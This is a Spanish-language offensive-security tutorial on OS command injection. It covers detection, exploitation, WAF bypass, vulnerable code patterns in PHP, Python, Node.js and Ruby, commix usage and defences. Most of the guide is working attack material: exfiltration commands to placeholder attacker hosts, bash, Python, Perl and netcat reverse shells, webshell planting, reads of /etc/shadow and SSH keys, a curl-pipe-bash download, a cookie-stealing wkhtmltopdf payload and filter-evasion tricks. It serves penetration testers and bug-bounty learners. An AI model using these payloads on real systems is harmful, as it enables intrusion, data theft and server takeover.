La inyección de comandos es una de las clases de vulnerabilidad más peligrosas en seguridad web. No porque sea sutil — en realidad es uno de los caminos más directos hacia el compromiso total de un sistema. Inyectas un comando de shell a través de una entrada web, el servidor lo ejecuta, y de repente estás corriendo código arbitrario en la infraestructura de alguien.

OWASP ha mantenido la inyección en su Top 10 por más de una década con razón. Cuando encuentras command injection, el juego cambia. No es “puedo leer un registro que no debería”. Es “este servidor es mío”.

Esta guía cubre todo: cómo funciona el command injection, cómo encontrarlo en aplicaciones modernas, técnicas de explotación desde detección ciega hasta RCE completo, métodos de bypass de WAF, y cómo encadenarlo con otras vulnerabilidades para máximo impacto.


¿Qué Es el Command Injection?

El command injection (también llamado OS command injection) ocurre cuando una aplicación pasa input de usuario no sanitizado a un shell del sistema. En lugar de tratar el input como datos, el shell lo interpreta como código.

El ejemplo más simple:

# Código de aplicación (vulnerable):
system("ping -c 1 " + user_input)

# Solicitud legítima:
GET /api/ping?host=192.168.1.1
# Shell ejecuta: ping -c 1 192.168.1.1

# Solicitud con inyección:
GET /api/ping?host=192.168.1.1;id
# Shell ejecuta: ping -c 1 192.168.1.1;id
# Output incluye: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Ese punto y coma es todo lo que hace falta. El shell trata ; como separador de comandos. Todo lo que viene después se ejecuta como un comando separado con los mismos privilegios que la aplicación web.

Esto es fundamentalmente diferente de la inyección SQL, que ataca motores de base de datos. El command injection ataca el sistema operativo subyacente. El radio de explosión es inmediato y total.


Por Qué el Command Injection Sigue Siendo Común en 2026

Podrías esperar que esta clase de vulnerabilidad estuviera extinта a estas alturas. No lo está.

Bases de código legacy. Las aplicaciones empresariales construidas a principios de los 2000 usaban frecuentemente system(), exec(), popen() y llamadas similares porque eran convenientes. Muchas de esas apps siguen ejecutándose.

Requerimientos de funcionalidades que impulsan malos patrones. Las aplicaciones que hacen diagnósticos de red, procesamiento de archivos, conversión de imágenes, generación de PDF, consultas DNS o generación de reportes frecuentemente invocan utilidades del sistema. Los desarrolladores recurren a shell_exec() o subprocess.call() porque es el camino de menor resistencia.

Sobreconfianza en el filtrado. Los equipos añaden validación de input — bloquean punto y coma, verifican caracteres obvios — y declaran la funcionalidad segura. El problema es que hay docenas de operadores de inyección, y el filtrado es mucho más difícil que la parametrización.

Integraciones de terceros. Las apps modernas llaman herramientas externas, scripts y utilidades. Cada una es un punto potencial de inyección si el código que llama no maneja correctamente el input.

En programas de bug bounty, los hallazgos de command injection frecuentemente vienen de funcionalidades como:

  • Herramientas de diagnóstico de red (ping, traceroute, nslookup)
  • Procesamiento de archivos (ImageMagick, wkhtmltopdf, FFmpeg)
  • Generación de reportes
  • Operaciones de backup y archivado
  • Funcionalidades de análisis de logs
  • Interfaces web de despliegue o CI/CD

Command Injection vs Code Injection: La Diferencia

Estos términos a veces se usan indistintamente, pero son distintos:

TipoQué Se InyectaDónde Ejecuta
OS Command InjectionComandos de shellShell del sistema operativo
Code InjectionCódigo de lenguaje de programaciónIntérprete del lenguaje (PHP eval, Python exec)
SQL InjectionSentencias SQLMotor de base de datos

El command injection pasa por el shell del OS. El code injection se queda dentro del runtime del lenguaje. Las técnicas de explotación difieren. Esta guía se enfoca en OS command injection — comandos de shell en targets Linux y Windows.


Operadores de Shell: Tu Kit de Inyección

Entender los operadores de shell es fundamental. Estos son los que hacen posible la inyección — y por qué el filtrado simple de caracteres falla.

Operadores Unix/Linux

;    # Separador de comandos: cmd1;cmd2
&&   # AND: cmd1 && cmd2 (cmd2 ejecuta solo si cmd1 tuvo éxito)
||   # OR: cmd1 || cmd2 (cmd2 ejecuta solo si cmd1 falló)
|    # Pipe: cmd1 | cmd2 (stdout de cmd1 → stdin de cmd2)
`    # Backtick: `cmd` (sustitución de comandos — ejecuta y sustituye output)
$()  # Sustitución de comandos moderna: $(cmd)
\n   # Salto de línea: codificado en URL como %0a — tratado como separador en muchos contextos
&    # Fondo: cmd1 & cmd2 (ejecuta cmd2 en segundo plano)

Operadores Windows

&    # cmd1 & cmd2
&&   # cmd1 && cmd2
||   # cmd1 || cmd2
|    # cmd1 | cmd2
;    # En algunos contextos (PowerShell)
\n   # Salto de línea (%0a)

Por Qué Falla el Filtrado

Las aplicaciones que bloquean ; pero no &&, ||, | o backticks siguen siendo vulnerables. Las aplicaciones que filtran operadores obvios pero no variantes codificadas en URL se pierden inyecciones como %26 (&) o %7c (|). Las aplicaciones que decodifican input antes de filtrar pero luego lo pasan al shell son doblemente vulnerables.

La única protección confiable es no construir strings de shell con input de usuario en absoluto.


Detectando Command Injection

Paso 1: Identificar Puntos de Inyección

Busca cualquier funcionalidad que pueda llamar utilidades del sistema:

  • Funcionalidades de diagnóstico: entradas de ping, traceroute, nslookup, whois
  • Procesamiento de archivos: funcionalidades de carga (especialmente imagen, PDF, archivos)
  • Búsqueda que toca el sistema de archivos: búsqueda basada en find o grep
  • Generación de plantillas o reportes: cualquier cosa que mencione “exportar” o “generar PDF”
  • Funcionalidades de conversión: redimensionar, comprimir, convertir
  • Paneles administrativos: info del sistema, salud del servidor, visualización de logs
  • Importar/exportar: procesamiento de CSV, XML, ZIP

Prueba cada parámetro que alimente estas funcionalidades. No olvides las cabeceras — User-Agent, Referer, X-Forwarded-For a veces se pasan a utilidades de logging o scripts de analytics.

Paso 2: Probar Inyección Básica

Empieza con los operadores más simples:

# Detección basada en tiempo (siempre funciona, incluso sin output)
valor_original;sleep 5
valor_original|sleep 5
valor_original&&sleep 5
valor_original||sleep 5
valor_original`sleep 5`
valor_original$(sleep 5)

# Si la respuesta tarda ~5 segundos más: vulnerable

Para targets Windows:

valor_original&ping -n 5 127.0.0.1
valor_original|timeout /T 5

Paso 3: Probar Payloads que Retornan Output

Si obtienes output de la aplicación, prueba comandos con output visible:

;id
;whoami
;cat /etc/passwd
;ls -la /
;uname -a
|id
`id`
$(id)

Para Windows:

&whoami
&dir
&type C:\Windows\System32\drivers\etc\hosts

Paso 4: Confirmación de Inyección Ciega

¿Sin output visible? Usa técnicas fuera de banda:

# Exfiltración DNS (usa Burp Collaborator, interactsh, o tu propio DNS)
;nslookup $(whoami).atacante.com
;curl http://atacante.com/$(whoami)
;wget http://atacante.com/?data=$(id|base64)

# Escritura de archivo (verifica si el archivo aparece)
;echo "inyectado" > /var/www/html/proof.txt
;id > /var/www/html/output.txt

Si controlas un servidor o usas una herramienta como Burp Collaborator, los callbacks de DNS son la técnica de confirmación ciega más confiable — incluso a través de firewalls de egreso que bloquean HTTP.


Explotación: De la Detección a la Shell

Extracción Directa de Output

Cuando la aplicación refleja el output del comando:

# Reconocimiento del sistema
;id;uname -a;hostname;cat /etc/passwd;cat /etc/shadow
;cat /proc/version;ls /home;env

# Reconocimiento de red
;ifconfig;route;netstat -an
;ip addr show;ip route

# Buscar archivos sensibles
;find / -name "*.conf" -type f 2>/dev/null | head -20
;find / -name "id_rsa" 2>/dev/null
;find / -name ".env" 2>/dev/null

# Leer secretos de la aplicación
;cat /var/www/html/.env
;cat /var/www/html/config.php
;cat /home/*/.ssh/id_rsa

Reverse Shell vía Command Injection

El objetivo normalmente es una shell reversa completa. Configura tu listener primero:

# En tu máquina:
nc -lvnp 4444

Luego inyecta un payload de reverse shell:

# Reverse shell en Bash
;bash -i >& /dev/tcp/TU_IP/4444 0>&1

# Codificado en URL (para parámetros HTTP):
;bash+-i+>%26+/dev/tcp/TU_IP/4444+0>%261

# Reverse shell en Python
;python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("TU_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

# Netcat (si está disponible)
;nc -e /bin/bash TU_IP 4444

# Netcat sin flag -e
;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc TU_IP 4444 >/tmp/f

# Perl
;perl -e 'use Socket;$i="TU_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");'

Usa revshells.com para payloads generados en todos los lenguajes y codificaciones.

Upgrading a TTY Completo

Después de capturar la shell:

# Dentro de la reverse shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'

# Luego:
# Ctrl+Z para poner en segundo plano
stty raw -echo; fg
# Presiona Enter dos veces

# Configurar tamaño del terminal:
export TERM=xterm
stty rows 50 cols 220

Carga de Archivos vía Command Injection

Establece persistencia o descarga herramientas adicionales:

# Descargar un archivo
;wget http://TU_IP/shell.php -O /var/www/html/shell.php
;curl -o /var/www/html/shell.php http://TU_IP/shell.php

# Escribir un webshell directamente
;echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php

# Para entornos restringidos — codifica el payload en base64
;echo 'PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+' | base64 -d > /var/www/html/shell.php

Técnicas de Command Injection Ciega

Cuando no hay output y necesitas exfiltrar datos.

Confirmación Basada en Tiempo

El primer paso más confiable:

# Si sleep funciona, tienes inyección
;sleep 10

# Tiempo condicional: lee un archivo y verifica la longitud
;[ $(id | wc -c) -gt 5 ] && sleep 5

# Exfiltrar carácter por carácter (lento pero funciona a través de firewalls)
;[ $(whoami | cut -c1) == 'r' ] && sleep 3

Exfiltración DNS

Las consultas DNS frecuentemente evitan firewalls de egreso que bloquean HTTP/HTTPS. Usa Burp Collaborator o interactsh .

# Callback DNS básico
;nslookup $(whoami).TU_COLLABORATOR_HOST

# Exfiltrar output de comando vía DNS
;host $(id | tr ' ' '_').TU_COLLABORATOR_HOST

# Leer contenido de archivo vía DNS
;nslookup $(cat /etc/passwd | head -1 | md5sum | cut -c1-20).TU_COLLABORATOR_HOST

# Usando curl para DNS
;curl http://$(whoami).TU_COLLABORATOR_HOST/

HTTP Fuera de Banda

# Solicitud GET con datos en URL
;curl "http://TU_SERVIDOR/?cmd=$(id | base64 | tr -d '\n')"

# Solicitud POST
;curl -X POST http://TU_SERVIDOR/ -d "$(cat /etc/passwd | base64)"

# Alternativa con wget
;wget -q -O /dev/null "http://TU_SERVIDOR/?data=$(whoami | base64)"

Escribir Archivo y Luego Leerlo

Si puedes escribir en el web root y leer el resultado vía HTTP:

# Escribir output del comando en un archivo accesible
;id > /var/www/html/static/data.txt
;cat /etc/passwd > /var/www/html/static/data.txt
;env > /var/www/html/static/data.txt

# Luego obtener:
# GET /static/data.txt

Técnicas de Bypass de WAF

Los WAF modernos bloquean payloads obvios. Así se evitan.

Trucos de Codificación

# Codificación URL
;id → ;id (obvio)
%3bid → ;id (codificación simple)
%253bid → ;id (doble codificación)

# Caracteres comunes:
; = %3b
| = %7c
& = %26
` = %60
$ = %24
( = %28
) = %29
salto de línea = %0a

# Bypass con salto de línea en lugar de punto y coma
id%0awhoami

Manipulación de Strings para Evitar Palabras Clave

# Evitar "cat" — usar enfoques alternativos
;c\at /etc/passwd
;c""at /etc/passwd
;ca$1t /etc/passwd
;cat$'\n' /etc/passwd
;tac /etc/passwd     # cat inverso
;head /etc/passwd
;tail /etc/passwd

# Evitar la palabra clave "id"
;i\d
;id${IFS}

# Sustitución de variables
;a=id;$a
;a=i;b=d;$a$b

# Expansión de llaves
;{id,whoami}

Trucos con IFS (Internal Field Separator)

# Usar ${IFS} en lugar de espacios
;cat${IFS}/etc/passwd
;cat${IFS}/etc/shadow
;id${IFS}&&${IFS}whoami

# Usar tabulación o salto de línea
;cat	/etc/passwd   (carácter tab)
;cat%09/etc/passwd    (tab codificado en URL)

Variaciones de Sustitución de Comandos

# Son equivalentes:
`id`
$(id)
$(<archivo)  # Leer contenido de archivo

# Anidados:
$($(which cat) /etc/passwd)
`$(echo id)`

Abuso de Comodines

# Los comodines se expanden en el shell — útil para evitar detección
;/bin/cat /etc/p*swd
;/bin/cat /etc/pass??d
;/b?n/?d
;/usr/bin/wh?ami

# Usar find con exec
;find / -name passwd -exec cat {} \;

Evitar Límites de Longitud

Cuando el punto de inyección tiene un límite de caracteres:

# Escribir un script en partes, luego ejecutar
;echo "id>" > /tmp/x
;echo "/tmp/o" >> /tmp/x
;bash /tmp/x
;cat /tmp/o

# Usar variables de entorno
;export CMD=id
;$CMD

Patrones Vulnerables Comunes por Lenguaje

PHP

// Patrones VULNERABLES:
system($input);
exec($input);
shell_exec($input);
passthru($input);
popen($input, 'r');
`$input`;  // operador backtick
proc_open($input, ...);

// También vulnerable en eval():
eval("echo $input;");  // Inyección de código, no de comandos

Busca estos en apps PHP. El operador backtick frecuentemente se pasa por alto.

Python

# VULNERABLE:
import os
os.system(user_input)
os.popen(user_input)
subprocess.call(user_input, shell=True)   # shell=True es la señal de peligro
subprocess.Popen(user_input, shell=True)
subprocess.run(user_input, shell=True)

# SEGURO (sin shell=True, argumentos como lista):
subprocess.run(['ping', '-c', '1', user_input])  # El input no puede escapar del límite del argumento

shell=True en llamadas subprocess de Python es el patrón más común. Cuando lo veas en revisión de código, trátalo como una bandera roja.

Node.js

// VULNERABLE:
const { exec } = require('child_process');
exec('ping ' + userInput, callback);

exec(`convert ${filename} output.jpg`, callback);  // Inyección de literal de plantilla

// TAMBIÉN VULNERABLE:
child_process.execSync(userInput);

// MÁS SEGURO — evitar construir strings:
execFile('/usr/bin/ping', ['-c', '1', userInput], callback);

Ruby

# VULNERABLE:
system("ls #{user_input}")
`ls #{user_input}`
IO.popen("ls #{user_input}")
%x(ls #{user_input})
eval(user_input)  # inyección de código

# MÁS SEGURO:
system("ls", user_input)  # argumento separado, no interpolado

Encadenando Command Injection con Otras Vulnerabilidades

Command Injection → Escalada de Privilegios

Obtener una shell como www-data es solo el comienzo. Escaladas comunes desde ahí:

# Verificar binarios SUID
find / -perm -u=s -type f 2>/dev/null

# Verificar derechos sudo
sudo -l

# Verificar cron jobs con permisos débiles
ls -la /etc/cron*
cat /etc/crontab

# Verificar permisos débiles de archivos
find / -writable -type f 2>/dev/null | grep -v proc | grep -v sys

# Usar linpeas para enumeración automatizada
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash

Un entorno de práctica en VPS te permite ejecutar estas técnicas de forma segura. Vultr y DigitalOcean tienen instancias cloud económicas que puedes crear, practicar y destruir.

Command Injection + SSRF

Si la aplicación hace solicitudes del lado del servidor y puedes inyectar comandos en esas solicitudes, puedes combinar ambas para acceso a red interna más RCE. Target: entornos cloud donde los endpoints de metadatos son accesibles.

Consulta nuestra Guía de Ataques SSRF para técnicas de explotación de metadatos cloud para encadenar después de lograr command injection.

Command Injection + File Upload

Si puedes subir un archivo y la aplicación lo procesa con un comando del sistema:

# Inyección en nombre de archivo — si el nombre se pasa a un comando shell
filename: test.jpg;id;.jpg
filename: test$(id).jpg
filename: test`id`.jpg

# ImageMagick (CVE-2016-3714 / ImageTragick — más antiguo, pero aún se encuentra en sistemas sin parchear)
# Inyección de contenido de archivo vía imagen maliciosa:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/x)|id | tee /tmp/x'
pop graphic-context

# ImageMagick moderno aún tiene vectores de abuso de delegados — verifica la versión

Ejemplos Reales de Command Injection

Ejemplo 1: Funcionalidad de Búsqueda DNS

Una app web ofrece: “Verificar si el dominio resuelve: [caja de input]”

# Uso normal:
host=redteamguide.com

# Con inyección:
host=redteamguide.com;cat /etc/passwd
host=redteamguide.com|id
host=redteamguide.com`whoami`
host=redteamguide.com$(id)

El código backend probablemente es:

$output = shell_exec("nslookup " . $_POST['host']);

Ejemplo 2: Generación de Reportes PDF

La aplicación genera reportes PDF usando wkhtmltopdf:

# Backend:
system("wkhtmltopdf " . $url . " output.pdf");

# URL inyectada:
https://ejemplo.com/reporte?url=https://google.com --run-script "fetch('http://atacante.com/?c='+btoa(document.cookie))"

Ejemplo 3: Herramienta de Ping

Ejemplo clásico — herramienta de ping en panel admin:

# El backend vulnerable:
result = os.system(f"ping -c 4 {user_input}")

# Payload:
127.0.0.1;cat /etc/passwd
127.0.0.1 && cat /etc/shadow
127.0.0.1 | nc atacante.com 4444 -e /bin/bash

Ejemplo 4: Extracción de Archivos

La aplicación extrae archivos ZIP subidos:

# Código backend:
system("unzip -o " . $filename . " -d /tmp/uploads/");

# Manipulación del nombre de archivo:
../../var/www/html/shell.php    # Path traversal en entrada ZIP
; rm -rf /tmp/* &              # Command injection si el nombre no está sanitizado

Herramientas de Testing Automatizado

Commix

La herramienta de explotación automatizada de command injection más popular:

# Instalar
sudo apt install commix

# Scan básico
commix --url="http://target.com/ping?host=127.0.0.1"

# Con datos POST
commix --url="http://target.com/api/ping" --data="host=127.0.0.1"

# Especificar punto de inyección con *
commix --url="http://target.com/ping?host=127.0.0.1*"

# Inyección en cookie
commix --url="http://target.com/page" --cookie="session=abc123; host=127.0.0.1*"

# A través del proxy de Burp
commix --url="http://target.com/ping?host=test" --proxy="http://127.0.0.1:8080"

# Forzar técnica
commix --url="http://target.com/ping?host=test" --technique=time    # Basada en tiempo
commix --url="http://target.com/ping?host=test" --technique=file    # Basada en archivo
commix --url="http://target.com/ping?host=test" --os-shell           # Caer en shell

Burp Suite Professional

El flujo de testing manual en Burp:

  1. Interceptar la solicitud con el punto de inyección
  2. Enviar a Intruder — establecer posición del payload en el valor del parámetro
  3. Usar lista de payloads de command injection (SecLists: Fuzzing/command-injection-commix.txt)
  4. Verificar respuestas para output de shell, diferencias de tiempo, o mensajes de error
  5. Confirmar hallazgos en Repeater con payloads manuales

El scan activo en Burp Pro detectará automáticamente command injection obvio.

Testing Manual con curl

# Testing directo sin herramienta
curl -s "http://target.com/ping?host=127.0.0.1;id" 
curl -s "http://target.com/ping?host=127.0.0.1%3bid"    # ; codificado en URL
curl -s "http://target.com/ping?host=127.0.0.1%7cid"    # | codificado en URL

# Detección ciega basada en tiempo
time curl -s "http://target.com/ping?host=127.0.0.1;sleep+5"

Defensa: Qué Detiene el Command Injection

Entender las defensas ayuda a hacer testing más efectivo y escribir mejores reportes.

Qué Realmente Funciona

Llamadas al sistema parametrizadas. No construyas strings de shell. Pasa argumentos como elementos de lista separados:

# Correcto:
subprocess.run(['/bin/ping', '-c', '1', user_input])  # Sin shell, sin inyección posible

# Incorrecto:
subprocess.run('ping -c 1 ' + user_input, shell=True)

Allowlisting de input. Si necesitas un hostname: valida que sea un patrón de hostname válido antes de usarlo. Regex allowlist — no blocklist.

Usar APIs nativas del lenguaje. En lugar de system("ping"), usa una librería ICMP de Python. En lugar de shell_exec("convert"), usa la extensión PHP de ImageMagick. Evita el shell completamente.

Principio de menor privilegio. Los procesos de aplicaciones web no deben ejecutarse como root. Una cuenta www-data comprometida es grave; una cuenta root comprometida es catastrófica.

Qué No Funciona de Forma Confiable

  • Listas negras de caracteres — demasiados bypasses
  • Escapar el input del usuario — fácil de hacer mal, problemas de codificación lo rompen
  • Solo WAF — útil como capa, no como solución
  • Solo sandboxing — chroot/contenedores ayudan a contener el daño pero no previenen la inyección

Consejos para Bug Bounty

Encadena para aumentar el impacto. El command injection ciego sin output es un medio. Command injection + RCE en un servidor de producción es un crítico. Dedica el tiempo extra para llegar a una shell.

Documenta el contexto de ejecución. Saber que estás ejecutando como www-data importa para el reporte. Incluye id, uname -a, hostname y cat /etc/passwd en tu PoC.

Usa detección basada en tiempo primero. Es universal. Si sleep 5 funciona, tienes inyección. Luego escala a fuera de banda, luego a extracción de output visible.

Ten cuidado con comandos destructivos. No hagas rm -rf a nada. No crees archivos en lugares inesperados. Mantén tu PoC limpio y reversible.

Reporta la causa raíz, no solo el parámetro. Encuentra el patrón de código (os.system(user_input)) y repórtalo. Los equipos de triage escalan más rápido cuando pueden reproducir desde el código.


Continúa la Serie

Este es parte de nuestra serie de ataques a aplicaciones web para red teamers:


Entorno de Práctica

Para practicar estas técnicas legalmente, crea un entorno de laboratorio vulnerable. Vultr y DigitalOcean tienen instancias cloud de bajo costo — despliega DVWA, máquinas de VulnHub, o HTB Pro Labs con un attack box dedicado.

No practiques en sistemas que no son tuyos. Configura un laboratorio adecuado y practica estas técnicas hasta que sean automáticas.


¿Necesitas contenido de seguridad de nivel profesional para tu organización? CipherWrite entrega artículos, reportes y documentación de ciberseguridad técnicamente precisos, escritos por profesionales.